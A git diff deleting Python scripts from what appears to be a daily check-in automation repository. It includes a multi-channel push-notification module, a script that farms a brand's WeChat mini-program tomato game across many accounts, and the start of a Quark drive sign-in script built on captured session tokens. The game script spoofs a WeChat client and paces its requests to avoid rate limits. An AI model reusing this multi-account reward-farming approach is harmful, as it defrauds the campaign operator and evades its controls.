- else smtplib.SMTP(push_config.get("SMTP_SERVER"))
- )
- smtp_server.login(
- push_config.get("SMTP_EMAIL"), push_config.get("SMTP_PASSWORD")
- )
- smtp_server.sendmail(
- push_config.get("SMTP_EMAIL"),
- push_config.get("SMTP_EMAIL"),
- message.as_bytes(),
- )
- smtp_server.close()
- print("SMTP 邮件 推送成功!")
- except Exception as e:
- print(f"SMTP 邮件 推送失败!{e}")
-
-
-def pushme(title: str, content: str) -> None:
- """
- 使用 PushMe 推送消息。
- """
- if not push_config.get("PUSHME_KEY"):
- return
- print("PushMe 服务启动")
-
- url = (
- push_config.get("PUSHME_URL")
- if push_config.get("PUSHME_URL")
- else "https://push.i-i.me/"
- )
- data = {
- "push_key": push_config.get("PUSHME_KEY"),
- "title": title,
- "content": content,
- "date": push_config.get("date") if push_config.get("date") else "",
- "type": push_config.get("type") if push_config.get("type") else "",
- }
- response = requests.post(url, data=data)
-
- if response.status_code == 200 and response.text == "success":
- print("PushMe 推送成功!")
- else:
- print(f"PushMe 推送失败!{response.status_code} {response.text}")
-
-
-def chronocat(title: str, content: str) -> None:
- """
- 使用 CHRONOCAT 推送消息。
- """
- if (
- not push_config.get("CHRONOCAT_URL")
- or not push_config.get("CHRONOCAT_QQ")
- or not push_config.get("CHRONOCAT_TOKEN")
- ):
- return
-
- print("CHRONOCAT 服务启动")
-
- user_ids = re.findall(r"user_id=(\d+)", push_config.get("CHRONOCAT_QQ"))
- group_ids = re.findall(r"group_id=(\d+)", push_config.get("CHRONOCAT_QQ"))
-
- url = f'{push_config.get("CHRONOCAT_URL")}/api/message/send'
- headers = {
- "Content-Type": "application/json",
- "Authorization": f'Bearer {push_config.get("CHRONOCAT_TOKEN")}',
- }
-
- for chat_type, ids in [(1, user_ids), (2, group_ids)]:
- if not ids:
- continue
- for chat_id in ids:
- data = {
- "peer": {"chatType": chat_type, "peerUin": chat_id},
- "elements": [
- {
- "elementType": 1,
- "textElement": {"content": f"{title}\n\n{content}"},
- }
- ],
- }
- response = requests.post(url, headers=headers, data=json.dumps(data))
- if response.status_code == 200:
- if chat_type == 1:
- print(f"QQ个人消息:{ids}推送成功!")
- else:
- print(f"QQ群消息:{ids}推送成功!")
- else:
- if chat_type == 1:
- print(f"QQ个人消息:{ids}推送失败!")
- else:
- print(f"QQ群消息:{ids}推送失败!")
-
-
-def ntfy(title: str, content: str) -> None:
- """
- 通过 Ntfy 推送消息
- """
-
- def encode_rfc2047(text: str) -> str:
- """将文本编码为符合 RFC 2047 标准的格式"""
- encoded_bytes = base64.b64encode(text.encode("utf-8"))
- encoded_str = encoded_bytes.decode("utf-8")
- return f"=?utf-8?B?{encoded_str}?="
-
- if not push_config.get("NTFY_TOPIC"):
- return
- print("ntfy 服务启动")
- priority = "3"
- if not push_config.get("NTFY_PRIORITY"):
- print("ntfy 服务的NTFY_PRIORITY 未设置!!默认设置为3")
- else:
- priority = push_config.get("NTFY_PRIORITY")
-
- # 使用 RFC 2047 编码 title
- encoded_title = encode_rfc2047(title)
-
- data = content.encode(encoding="utf-8")
- headers = {"Title": encoded_title, "Priority": priority, "Icon": "https://qn.whyour.cn/logo.png"} # 使用编码后的 title
- if push_config.get("NTFY_TOKEN"):
- headers['Authorization'] = "Bearer " + push_config.get("NTFY_TOKEN")
- elif push_config.get("NTFY_USERNAME") and push_config.get("NTFY_PASSWORD"):
- authStr = push_config.get("NTFY_USERNAME") + ":" + push_config.get("NTFY_PASSWORD")
- headers['Authorization'] = "Basic " + base64.b64encode(authStr.encode('utf-8')).decode('utf-8')
- if push_config.get("NTFY_ACTIONS"):
- headers['Actions'] = encode_rfc2047(push_config.get("NTFY_ACTIONS"))
-
- url = push_config.get("NTFY_URL") + "/" + push_config.get("NTFY_TOPIC")
- response = requests.post(url, data=data, headers=headers)
- if response.status_code == 200: # 使用 response.status_code 进行检查
- print("Ntfy 推送成功!")
- else:
- print("Ntfy 推送失败!错误信息:", response.text)
-
-
-def wxpusher_bot(title: str, content: str) -> None:
- """
- 通过 wxpusher 推送消息。
- 支持的环境变量:
- - WXPUSHER_APP_TOKEN: appToken
- - WXPUSHER_TOPIC_IDS: 主题ID, 多个用英文分号;分隔
- - WXPUSHER_UIDS: 用户ID, 多个用英文分号;分隔
- """
- if not push_config.get("WXPUSHER_APP_TOKEN"):
- return
-
- url = "https://wxpusher.zjiecode.com/api/send/message"
-
- # 处理topic_ids和uids,将分号分隔的字符串转为数组
- topic_ids = []
- if push_config.get("WXPUSHER_TOPIC_IDS"):
- topic_ids = [
- int(id.strip())
- for id in push_config.get("WXPUSHER_TOPIC_IDS").split(";")
- if id.strip()
- ]
-
- uids = []
- if push_config.get("WXPUSHER_UIDS"):
- uids = [
- uid.strip()
- for uid in push_config.get("WXPUSHER_UIDS").split(";")
- if uid.strip()
- ]
-
- # topic_ids uids 至少有一个
- if not topic_ids and not uids:
- print("wxpusher 服务的 WXPUSHER_TOPIC_IDS 和 WXPUSHER_UIDS 至少设置一个!!")
- return
-
- print("wxpusher 服务启动")
-
- data = {
- "appToken": push_config.get("WXPUSHER_APP_TOKEN"),
- "content": f"{title}
{content}
",
- "summary": title,
- "contentType": 2,
- "topicIds": topic_ids,
- "uids": uids,
- "verifyPayType": 0,
- }
-
- headers = {"Content-Type": "application/json"}
- response = requests.post(url=url, json=data, headers=headers).json()
-
- if response.get("code") == 1000:
- print("wxpusher 推送成功!")
- else:
- print(f"wxpusher 推送失败!错误信息:{response.get('msg')}")
-
-
-def parse_headers(headers):
- if not headers:
- return {}
-
- parsed = {}
- lines = headers.split("\n")
-
- for line in lines:
- i = line.find(":")
- if i == -1:
- continue
-
- key = line[:i].strip().lower()
- val = line[i + 1 :].strip()
- parsed[key] = parsed.get(key, "") + ", " + val if key in parsed else val
-
- return parsed
-
-
-def parse_string(input_string, value_format_fn=None):
- matches = {}
- pattern = r"(\w+):\s*((?:(?!\n\w+:).)*)"
- regex = re.compile(pattern)
- for match in regex.finditer(input_string):
- key, value = match.group(1).strip(), match.group(2).strip()
- try:
- value = value_format_fn(value) if value_format_fn else value
- json_value = json.loads(value)
- matches[key] = json_value
- except:
- matches[key] = value
- return matches
-
-
-def parse_body(body, content_type, value_format_fn=None):
- if not body or content_type == "text/plain":
- return value_format_fn(body) if value_format_fn and body else body
-
- parsed = parse_string(body, value_format_fn)
-
- if content_type == "application/x-www-form-urlencoded":
- data = urllib.parse.urlencode(parsed, doseq=True)
- return data
-
- if content_type == "application/json":
- data = json.dumps(parsed)
- return data
-
- return parsed
-
-
-def custom_notify(title: str, content: str) -> None:
- """
- 通过 自定义通知 推送消息。
- """
- if not push_config.get("WEBHOOK_URL") or not push_config.get("WEBHOOK_METHOD"):
- return
-
- print("自定义通知服务启动")
-
- WEBHOOK_URL = push_config.get("WEBHOOK_URL")
- WEBHOOK_METHOD = push_config.get("WEBHOOK_METHOD")
- WEBHOOK_CONTENT_TYPE = push_config.get("WEBHOOK_CONTENT_TYPE")
- WEBHOOK_BODY = push_config.get("WEBHOOK_BODY")
- WEBHOOK_HEADERS = push_config.get("WEBHOOK_HEADERS")
-
- if "$title" not in WEBHOOK_URL and "$title" not in WEBHOOK_BODY:
- print("请求头或者请求体中必须包含 $title 和 $content")
- return
-
- headers = parse_headers(WEBHOOK_HEADERS)
- body = parse_body(
- WEBHOOK_BODY,
- WEBHOOK_CONTENT_TYPE,
- lambda v: v.replace("$title", title.replace("\n", "\\n")).replace(
- "$content", content.replace("\n", "\\n")
- ),
- )
- formatted_url = WEBHOOK_URL.replace(
- "$title", urllib.parse.quote_plus(title)
- ).replace("$content", urllib.parse.quote_plus(content))
- response = requests.request(
- method=WEBHOOK_METHOD, url=formatted_url, headers=headers, timeout=15, data=body
- )
-
- if response.status_code == 200:
- print("自定义通知推送成功!")
- else:
- print(f"自定义通知推送失败!{response.status_code} {response.text}")
-
-
-def one() -> str:
- """
- 获取一条一言。
- :return:
- """
- url = "https://v1.hitokoto.cn/"
- res = requests.get(url).json()
- return res["hitokoto"] + " ----" + res["from"]
-
-
-def add_notify_function():
- notify_function = []
- if push_config.get("BARK_PUSH"):
- notify_function.append(bark)
- if push_config.get("CONSOLE"):
- notify_function.append(console)
- if push_config.get("DD_BOT_TOKEN") and push_config.get("DD_BOT_SECRET"):
- notify_function.append(dingding_bot)
- if push_config.get("FSKEY"):
- notify_function.append(feishu_bot)
- if push_config.get("GOBOT_URL") and push_config.get("GOBOT_QQ"):
- notify_function.append(go_cqhttp)
- if push_config.get("GOTIFY_URL") and push_config.get("GOTIFY_TOKEN"):
- notify_function.append(gotify)
- if push_config.get("IGOT_PUSH_KEY"):
- notify_function.append(iGot)
- if push_config.get("PUSH_KEY"):
- notify_function.append(serverJ)
- if push_config.get("DEER_KEY"):
- notify_function.append(pushdeer)
- if push_config.get("CHAT_URL") and push_config.get("CHAT_TOKEN"):
- notify_function.append(chat)
- if push_config.get("PUSH_PLUS_TOKEN"):
- notify_function.append(pushplus_bot)
- if push_config.get("WE_PLUS_BOT_TOKEN"):
- notify_function.append(weplus_bot)
- if push_config.get("QMSG_KEY") and push_config.get("QMSG_TYPE"):
- notify_function.append(qmsg_bot)
- if push_config.get("QYWX_AM"):
- notify_function.append(wecom_app)
- if push_config.get("QYWX_KEY"):
- notify_function.append(wecom_bot)
- if push_config.get("TG_BOT_TOKEN") and push_config.get("TG_USER_ID"):
- notify_function.append(telegram_bot)
- if (
- push_config.get("AIBOTK_KEY")
- and push_config.get("AIBOTK_TYPE")
- and push_config.get("AIBOTK_NAME")
- ):
- notify_function.append(aibotk)
- if (
- push_config.get("SMTP_SERVER")
- and push_config.get("SMTP_SSL")
- and push_config.get("SMTP_EMAIL")
- and push_config.get("SMTP_PASSWORD")
- and push_config.get("SMTP_NAME")
- ):
- notify_function.append(smtp)
- if push_config.get("PUSHME_KEY"):
- notify_function.append(pushme)
- if (
- push_config.get("CHRONOCAT_URL")
- and push_config.get("CHRONOCAT_QQ")
- and push_config.get("CHRONOCAT_TOKEN")
- ):
- notify_function.append(chronocat)
- if push_config.get("WEBHOOK_URL") and push_config.get("WEBHOOK_METHOD"):
- notify_function.append(custom_notify)
- if push_config.get("NTFY_TOPIC"):
- notify_function.append(ntfy)
- if push_config.get("WXPUSHER_APP_TOKEN") and (
- push_config.get("WXPUSHER_TOPIC_IDS") or push_config.get("WXPUSHER_UIDS")
- ):
- notify_function.append(wxpusher_bot)
- if not notify_function:
- print(f"无推送渠道,请检查通知变量是否正确")
- return notify_function
-
-
-def send(title: str, content: str, ignore_default_config: bool = False, **kwargs):
- if kwargs:
- global push_config
- if ignore_default_config:
- push_config = kwargs # 清空从环境变量获取的配置
- else:
- push_config.update(kwargs)
-
- if not content:
- print(f"{title} 推送内容为空!")
- return
-
- # 根据标题跳过一些消息推送,环境变量:SKIP_PUSH_TITLE 用回车分隔
- skipTitle = os.getenv("SKIP_PUSH_TITLE")
- if skipTitle:
- if title in re.split("\n", skipTitle):
- print(f"{title} 在SKIP_PUSH_TITLE环境变量内,跳过推送!")
- return
-
- hitokoto = push_config.get("HITOKOTO")
- content += "\n\n" + one() if hitokoto != "false" else ""
-
- notify_function = add_notify_function()
- ts = [
- threading.Thread(target=mode, args=(title, content), name=mode.__name__)
- for mode in notify_function
- ]
- [t.start() for t in ts]
- [t.join() for t in ts]
-
-
-def main():
- send("title", "content")
-
-
-if __name__ == "__main__":
- main()
\ No newline at end of file
diff --git a/daily/qiehuang.py b/daily/qiehuang.py
deleted file mode 100644
index 60e75fc2..00000000
--- a/daily/qiehuang.py
+++ /dev/null
@@ -1,510 +0,0 @@
-# cron: 25 10 * * *
-# new Env('统一快乐星球茄皇')
-
-import requests
-import json
-import os
-import time
-import re
-import random
-from collections import defaultdict
-from notify import send
-
-users = os.getenv("QH", '').splitlines()
-# 清洗数据:去除每个用户字符串的首尾空格,过滤空行/全空格的无效数据
-users = [user.strip() for user in users if user.strip()]
-
-# 解析为 (wid, 手机号) 列表
-parsed_users = []
-for user_str in users:
- if "#" in user_str:
- # 按#拆分(只拆1次,避免手机号含#导致拆分错误)
- wid, phone = user_str.split("#", 1)
- parsed_users.append((wid.strip(), phone.strip()))
- else:
- # 兼容旧格式:只有wid没有手机号时,手机号为空字符串
- parsed_users.append((user_str.strip(), ""))
-
-# UA可自行替换为自己的
-user_agent = "Mozilla/5.0 (Linux; Android 14; 23046RP50C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/142.0.7444.172 Safari/537.36 XWEB/1420045 MMWEBSDK/20250201 MMWEBID/5714 MicroMessenger/8.0.57.2820(0x28003956) WeChat/arm64 Weixin Android Tablet NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9"
-STEP_ORDER = ["登录", "领取种子", "签到", "浏览任务", "收获作物", "播种", "循环浇水"]
-STEP_EMOJI = {"登录": "🔑", "领取种子": "🌱", "签到": "📅", "浏览任务": "🔍", "收获作物": "🌾", "播种": "🌱", "循环浇水": "🔄"}
-
-def _short(s, n=120):
- s = s.strip()
- return s if len(s) <= n else s[:n - 1] + "…"
-
-def _pick_status(line: str) -> str:
- if "✅" in line: return "✅"
- if "⚠️" in line: return "⚠️"
- if "❌" in line: return "❌"
- return "ℹ️"
-
-def _step_key(line: str) -> str:
- for k in STEP_ORDER:
- if k in line:
- return k
- return "信息"
-
-def _pull_resource_snapshot(lines):
- res = {}
- for line in reversed(lines):
- if "☀️" in line:
- try: res["sun"] = int(re.findall(r"☀️(\d+)", line)[0])
- except: pass
- if "💧" in line:
- try: res["water"] = int(re.findall(r"💧(\d+)", line)[0])
- except: pass
- if "🍅" in line:
- try: res["fruit"] = int(re.findall(r"🍅(\d+)", line)[0])
- except: pass
- if len(res) >= 2:
- break
- return res
-
-def render_report(all_lines):
- blocks, cur = [], []
- for ln in all_lines:
- if ln.strip().startswith("👤 用户"):
- if cur: blocks.append(cur)
- cur = [ln.strip()]
- elif ln is not None:
- cur.append(ln.rstrip())
- if cur: blocks.append(cur)
- out = []
- for b in blocks:
- if not b: continue
- header = b[0].strip()
- out.append("━━━━━━━━━━━━━━━━━━━━━━")
- out.append(header)
- bucket = defaultdict(list)
- for ln in b[1:]:
- if not ln.strip(): continue
- bucket[_step_key(ln)].append(ln)
- snap = _pull_resource_snapshot(b)
- if snap:
- res_line = "📊 当前资源:"
- if "sun" in snap: res_line += f"☀️{snap['sun']} "
- if "water" in snap: res_line += f"💧{snap['water']} "
- if "fruit" in snap: res_line += f"🍅{snap['fruit']} "
- out.append(res_line.strip())
- for step in STEP_ORDER + ["信息"]:
- if step not in bucket: continue
- lines = bucket[step]
- cleaned, seen = [], set()
- for ln in lines:
- if set(ln.strip()) in (set("="),):
- continue
- # 关键修复:循环浇水日志不做去重(保留所有记录)
- if step == "循环浇水":
- cleaned.append(ln)
- else:
- norm = re.sub(r"账号\d+:", "", re.sub(r"\s+", " ", ln)).strip()
- if norm not in seen:
- seen.add(norm)
- cleaned.append(ln)
- # 循环浇水保留所有记录
- if step == "循环浇水":
- picked = cleaned
- else:
- picked = cleaned[-1:] if cleaned else []
- for pln in picked:
- status = _pick_status(pln)
- icon = STEP_EMOJI.get(step, "•")
- body = re.sub(r"^[🔑🌱📅🔍🌾🔄]+\s*" + re.escape(step) + r"[::]?\s*", "", pln)
- body = re.sub(r"^[✅❌⚠️ℹ️]+\s*", "", body)
- out.append(f"{icon} {step} {status} {_short(body)}")
- succ = sum("✅" in ln for ln in b)
- fail = sum("❌" in ln for ln in b)
- warn = sum("⚠️" in ln for ln in b)
- out.append(f"🧾 小结:成功 {succ} · 预警 {warn} · 失败 {fail}")
- out.append("━━━━━━━━━━━━━━━━━━━━━━")
- return "\n".join(out)
-
-
-def login(wid, phone, user_logs):
- step = "登录"
- # 校验手机号是否存在
- if not phone:
- msg = "未配置手机号,登录失败 🔒"
- print(msg)
- user_logs.append(f"🔑 {step}: {msg}")
- return None
- try:
- url = "https://api.zhumanito.cn/api/login"
- # 新增手机号参数 wm_phone
- payload = {"wid": wid, "wm_phone": phone}
- headers = {'User-Agent': user_agent, 'Content-Type': "application/json"}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- response.raise_for_status()
- dljson = response.json()
- # 响应格式新增 code 字段校验
- if dljson.get("code") == 200 and 'data' in dljson and 'token' in dljson['data'] and 'user' in dljson['data'] and 'land' in dljson['data']:
- msg = f"登录成功(手机号:{phone})✅"
- print(msg)
- user_logs.append(f"🔑 {step}: {msg}")
- time.sleep(random.uniform(4, 5))
- return {
- "token": dljson['data']['token'],
- "user_data": dljson['data']['user'],
- "land_data": dljson['data']['land']
- }
- else:
- msg = f"登录失败,返回数据: {dljson} ❌"
- print(msg)
- user_logs.append(f"🔑 {step}: {msg}")
- return None
- except Exception as e:
- msg = f"登录出错(手机号:{phone}): {str(e)} ❌"
- print(msg)
- user_logs.append(f"🔑 {step}: {msg}")
- return None
-
-def get_seeds(authorization, user_logs):
- step = "领取种子"
- if not authorization:
- msg = "未获取到授权,无法领取种子 🔒"
- print(msg)
- user_logs.append(f"🌱 {step}: {msg}")
- return
- try:
- url = "https://api.zhumanito.cn/api/guide"
- headers = {'User-Agent': user_agent, 'Content-Type': "application/json", 'authorization': authorization}
- for st in (1, 2):
- payload = {"status": st}
- response = requests.post(url, data=json.dumps(payload), headers=headers)
- response.raise_for_status()
- user_logs.append(f"🌱 {step}: 领取/引导完成 ✅")
- time.sleep(random.uniform(4, 5))
- except Exception as e:
- msg = f"领取种子出错: {str(e)} ❌"
- print(msg)
- user_logs.append(f"🌱 {step}: {msg}")
-
-def check_in(authorization, user_logs):
- step = "签到"
- if not authorization:
- msg = "未获取到授权,无法签到 🔒"
- print(msg)
- user_logs.append(f"📅 {step}: {msg}")
- return
- try:
- url = "https://api.zhumanito.cn/api/task/complete"
- headers = {'User-Agent': user_agent, 'Content-Type': "application/x-www-form-urlencoded", 'authorization': authorization}
- response = requests.post(url, headers=headers)
- response_data = response.json()
- if response_data.get("msg") == "成功":
- msg = "签到成功 ✅"
- print(f"签到结果: {msg}")
- user_logs.append(f"📅 {step}: {msg}")
- elif response_data.get("msg") == "不可重复完成":
- msg = "今日已签到,无需重复操作 ✅"
- print(f"签到结果: {msg}")
- user_logs.append(f"📅 {step}: {msg}")
- else:
- msg = f"失败,原因: {response_data.get('msg', '未知错误')} ❌"
- print(f"签到结果: {msg}")
- user_logs.append(f"📅 {step}: {msg}")
- time.sleep(random.uniform(4, 5))
- except Exception as e:
- msg = f"签到出错: {str(e)} ❌"
- print(msg)
- user_logs.append(f"📅 {step}: {msg}")
-
-def explore(authorization, wid, user_logs):
- step = "浏览任务"
- if not authorization:
- msg = "未获取到授权,无法执行浏览任务 🔒"
- print(msg)
- user_logs.append(f"🔍 {step}: {msg}")
- return
- max_retry = 3
- retry_count = 0
- while retry_count < max_retry:
- try:
- url = f"https://api.zhumanito.cn/?wid={wid}"
- headers = {
- 'Host': 'api.zhumanito.cn',
- 'User-Agent': user_agent,
- 'authorization': authorization,
- 'sec-ch-ua': '"Chromium";v="142", "Android WebView";v="142", "Not_A Brand";v="99"',
- 'sec-ch-ua-mobile': '?0',
- 'sec-ch-ua-platform': '"Android"',
- 'upgrade-insecure-requests': '1',
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/wxpic,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'x-requested-with': 'com.tencent.mm',
- 'sec-fetch-site': 'same-site',
- 'sec-fetch-mode': 'navigate',
- 'sec-fetch-user': '?1',
- 'sec-fetch-dest': 'document',
- 'referer': 'https://h5.zhumanito.cn/',
- 'accept-encoding': 'gzip, deflate, br, zstd',
- 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
- 'priority': 'u=0, i'
- }
- response = requests.get(url, headers=headers, allow_redirects=False, timeout=10, verify=True)
- if response.status_code == 302:
- msg = "浏览任务完成✅"
- print(f"浏览任务:{msg}")
- user_logs.append(f"🔍 {step}: {msg}")
- time.sleep(random.uniform(4, 5))
- break
- elif response.status_code == 429:
- retry_after = int(response.headers.get("Retry-After", "1"))
- retry_count += 1
- if retry_count < max_retry:
- msg = f"浏览请求限速,等待{retry_after}秒后重试(第{retry_count}/{max_retry}次)"
- print(f"浏览任务:{msg}")
- time.sleep(retry_after)
- else:
- msg = f"浏览请求多次限速,放弃重试 ❌"
- print(f"浏览任务:{msg}")
- user_logs.append(f"🔍 {step}: {msg}")
- else:
- msg = f"浏览失败,状态码: {response.status_code} ❌"
- print(f"浏览任务:{msg}")
- user_logs.append(f"🔍 {step}: {msg}")
- break
- except requests.exceptions.RequestException as e:
- msg = f"浏览任务出错: {str(e)} ❌"
- print(msg)
- user_logs.append(f"🔍 {step}: {msg}")
- break
-
-def harvest(authorization, user_logs, account):
- step = "收获作物"
- try:
- url = "https://api.zhumanito.cn/api/harvest"
- headers = {
- 'User-Agent': user_agent,
- 'Content-Type': "application/x-www-form-urlencoded;charset=utf-8",
- 'authorization': authorization
- }
- before_fruit = int(account["user_data"].get("fruit_num", 0))
- response = requests.post(url, headers=headers, data=b"", timeout=15)
- response.raise_for_status()
- res_json = response.json()
- if res_json.get("code") == 200:
- account["user_data"] = res_json["data"]["user"]
- account["land_data"] = res_json["data"]["land"]
- after_fruit = int(account["user_data"].get("fruit_num", 0))
- total_after = int(account["user_data"].get("total_fruit_num", after_fruit))
- delta = max(0, after_fruit - before_fruit)
- msg = f"收获成功!🍅+{delta} → 现有 {after_fruit}(累计 {total_after})"
- print(msg)
- user_logs.append(f"🌾 {step}: {msg}")
- snap_line = f"📊 收获后资源:☀️{account['user_data'].get('sun_num',0)} 💧{account['user_data'].get('water_num',0)} 🍅{after_fruit}"
- print(snap_line)
- user_logs.append(snap_line)
- time.sleep(random.uniform(4, 5))
- return True
- else:
- msg = f"收获失败: {res_json.get('msg', '未知信息')} ⚠️"
- print(msg)
- user_logs.append(f"🌾 {step}: {msg}")
- return False
- except Exception as e:
- msg = f"收获请求出错: {str(e)} ❌"
- print(msg)
- user_logs.append(f"🌾 {step}: {msg}")
- return False
-
-def plant_seed(authorization, user_logs, account):
- step = "播种"
- try:
- url = "https://api.zhumanito.cn/api/seed"
- headers = {
- 'User-Agent': user_agent,
- 'Content-Type': "application/x-www-form-urlencoded;charset=utf-8",
- 'authorization': authorization
- }
- response = requests.post(url, headers=headers, data=b"", timeout=15)
- response.raise_for_status()
- res_json = response.json()
- if res_json.get("code") == 200:
- msg = "播种成功!✅"
- print(msg)
- user_logs.append(f"🌱 {step}: {msg}")
- account["user_data"] = res_json["data"]["user"]
- account["land_data"] = res_json["data"]["land"]
- time.sleep(random.uniform(4, 5))
- return True
- else:
- msg = f"播种失败: {res_json.get('msg', '未知信息')} ⚠️"
- print(msg)
- user_logs.append(f"🌱 {step}: {msg}")
- return False
- except Exception as e:
- msg = f"播种请求出错: {str(e)} ❌"
- print(msg)
- user_logs.append(f"🌱 {step}: {msg}")
- return False
-
-def water_once(headers, account_idx):
- """单次浇水(带限速重试)"""
- max_retry = 3
- retry_count = 0
- while retry_count < max_retry:
- try:
- response = requests.post(
- "https://api.zhumanito.cn/api/water",
- headers=headers,
- data=b"",
- allow_redirects=False,
- timeout=(25, 30)
- )
-
- if response.status_code == 200:
- return response.json()
- elif response.status_code == 429:
- retry_after = int(response.headers.get("Retry-After", "1"))
- retry_count += 1
- if retry_count < max_retry:
- print(f"账号{account_idx}:浇水请求限速,等待{retry_after}秒后重试(第{retry_count}/{max_retry}次)")
- time.sleep(retry_after)
- else:
- raise Exception(f"浇水请求多次限速({max_retry}次),放弃重试")
- else:
- raise Exception(f"响应状态码异常: {response.status_code},内容: {response.text}")
- except json.JSONDecodeError:
- raise Exception(f"返回非JSON数据: {response.text}")
- except Exception as e:
- if retry_count >= max_retry - 1:
- raise e
- retry_count += 1
- time.sleep(1)
- return None
-
-def loop_watering(headers, account_idx, account, user_logs):
- step = "循环浇水"
- user_logs.append(f"🔄 {step}:进入循环浇水(需💧≥20且☀️≥20)")
- print(f"\n🔄 账号{account_idx}:进入循环浇水(需💧≥20且☀️≥20)")
-
- water_headers = headers.copy()
- water_headers["Content-Type"] = "application/x-www-form-urlencoded;charset=UTF-8"
-
- while True:
- water = account["user_data"].get("water_num", 0)
- sun = account["user_data"].get("sun_num", 0)
-
- if water >= 20 and sun >= 20:
- log_msg = f"🔄 {step}:📌 账号{account_idx}:资源满足(💧{water},☀️{sun}),浇水..."
- print(log_msg)
- user_logs.append(log_msg)
-
- try:
- res = water_once(water_headers, account_idx)
-
- if res.get("code") == 200:
- # 浇水成功,更新用户数据
- account["user_data"] = res["data"]["user"]
- land = res["data"].get("land", [])
-
- success_msg = f"🔄 {step}:✅ 账号{account_idx}:浇水成功!"
- status_msg = f"🔄 {step}:📊 剩余:💧{account['user_data']['water_num']},☀️{account['user_data']['sun_num']}"
- print("="*35)
- print(success_msg)
- print(status_msg)
- # 关键修改:每条浇水成功日志都保留(不合并、不删除)
- user_logs.append(success_msg)
- user_logs.append(status_msg)
-
- if land:
- land_msg = f"🔄 {step}:🌱 土地:共{len(land)}块,阶段{land[0]['seed_stage']} 🌱"
- print(land_msg)
- user_logs.append(land_msg)
- print("="*35)
-
- time.sleep(random.uniform(4, 5))
- else:
- # 浇水失败(如达上限、其他错误)
- fail_msg = f"🔄 {step}:❌ 账号{account_idx}:浇水失败:{res.get('msg', '未知错误')}"
- print(fail_msg)
- user_logs.append(fail_msg)
- break
-
- except Exception as e:
- error_msg = f"🔄 {step}:⚠️ 账号{account_idx}:浇水请求异常:{str(e)} ❌"
- print(error_msg)
- user_logs.append(error_msg)
- break
- else:
- end_msg = f"🔄 {step}:🔚 账号{account_idx}:资源不足(💧{water},☀️{sun}),停止浇水 ⏹️"
- print(end_msg)
- user_logs.append(end_msg)
- fruit = account['user_data'].get('fruit_num', 0)
- final_snap = f"📊 最终资源:☀️{sun} 💧{water} 🍅{fruit}"
- print(final_snap)
- user_logs.append(final_snap)
- break
-
-def process_user(wid, phone, user_index):
- user_logs = [f"👤 用户{user_index}: wid={wid} | 手机号={phone}"]
- print(f"\n===== 开始处理用户 {user_index} (wid: {wid}, 手机号: {phone}) =====")
- # 登录时传入 wid 和手机号
- login_data = login(wid, phone, user_logs)
- if login_data:
- auth_token = login_data["token"]
- headers = {'User-Agent': user_agent, 'authorization': auth_token}
- account = {"user_data": login_data["user_data"], "land_data": login_data["land_data"]}
- fruit = account['user_data'].get('fruit_num', 0)
- print(f"📊 当前番茄数量:{fruit}")
- user_logs.append(f"📊 当前番茄数量:{fruit}")
- if account["user_data"].get("new_status", 2) != 2:
- get_seeds(auth_token, user_logs)
- check_in(auth_token, user_logs)
- explore(auth_token, wid, user_logs)
- current_stage = 0
- if account["land_data"] and len(account["land_data"]) > 0:
- current_stage = account["land_data"][0].get("seed_stage", 0)
- print(f"\n🧠 账号{user_index}:智能判断... 当前土地状态: {current_stage}")
- user_logs.append(f"ℹ️ 土地状态: {current_stage}")
- if current_stage == 5:
- print("判断:作物已成熟。")
- user_logs.append("🧠 判断:作物已成熟。")
- print(f">> 账号{user_index}:执行 [收获]...")
- harvest_success = harvest(auth_token, user_logs, account)
- if harvest_success:
- print(f">> 账号{user_index}:执行 [播种]...")
- plant_seed(auth_token, user_logs, account)
- elif current_stage == 0:
- print("判断:土地为空。")
- user_logs.append("🧠 判断:土地为空。")
- print(f">> 账号{user_index}:执行 [播种]...")
- plant_seed(auth_token, user_logs, account)
- else:
- print("判断:作物生长中... 无需收获或播种。")
- user_logs.append("🧠 判断:作物生长中。")
- loop_watering(headers, user_index, account, user_logs)
- else:
- msg = "获取授权失败,无法执行后续操作 🔒"
- print(msg)
- user_logs.append(f"⚠️ {msg}")
- print(f"===== 完成处理用户 {user_index} =====\n")
- time.sleep(3)
- return user_logs
-
-if __name__ == "__main__":
- if not parsed_users or len(parsed_users) == 0:
- print("未从环境变量TYQH中获取到任何用户信息! 🚫")
- send("统一茄皇", "未从环境变量TYQH中获取到任何用户信息! 🚫")
- else:
- print(f"共检测到 {len(parsed_users)} 个用户,开始依次处理... 👥")
- all_logs = []
- for i, (wid, phone) in enumerate(parsed_users, 1):
- try:
- user_logs = process_user(wid, phone, i)
- all_logs.extend(user_logs)
- all_logs.append("")
- except Exception as e:
- error_msg = f"用户 {i} 处理过程中发生未捕获错误: {str(e)} ❌"
- print(error_msg)
- all_logs.append(f"❌ {error_msg}")
- all_logs.append("")
- # 推送完整报告(包含所有浇水成功记录)
- report = render_report(all_logs)
- print("\n" + "="*50)
- print("最终推送通知内容:")
- print(report)
- print("="*50)
- send("统一茄皇", report)
\ No newline at end of file
diff --git a/daily/quark.py b/daily/quark.py
deleted file mode 100644
index 761c6267..00000000
--- a/daily/quark.py
+++ /dev/null
@@ -1,249 +0,0 @@
-'''
-new Env('夸克自动签到')
-cron: 0 9 * * *
-
-V2版-目前有效
-使用移动端接口修复每日自动签到,移除原有的“登录验证”,参数有效期未知
-
-V1版-已失效
-受大佬 @Cp0204 的仓库项目启发改编
-源码来自 GitHub 仓库:https://github.com/Cp0204/quark-auto-save
-提取“登录验证”“签到”“领取”方法封装到下文中的“Quark”类中
-
-Author: BNDou
-Date: 2024-03-15 21:43:06
-LastEditTime: 2025-11-18 03:49:26
-FilePath: \Auto_Check_In\checkIn_Quark.py
-Description:
-抓包流程:
- 【手机端】
- ①打开抓包,手机端访问抽奖页
- ②找到url为 https://drive-m.quark.cn/1/clouddrive/act/growth/reward 的请求信息
- ③复制整段url,该链接后面必须要有参数: kps sign vcode,粘贴到环境变量
- 环境变量名为 COOKIE_QUARK 多账户用 回车 或 && 分开
- user字段是用户名 (可是随意填写,多账户方便区分)
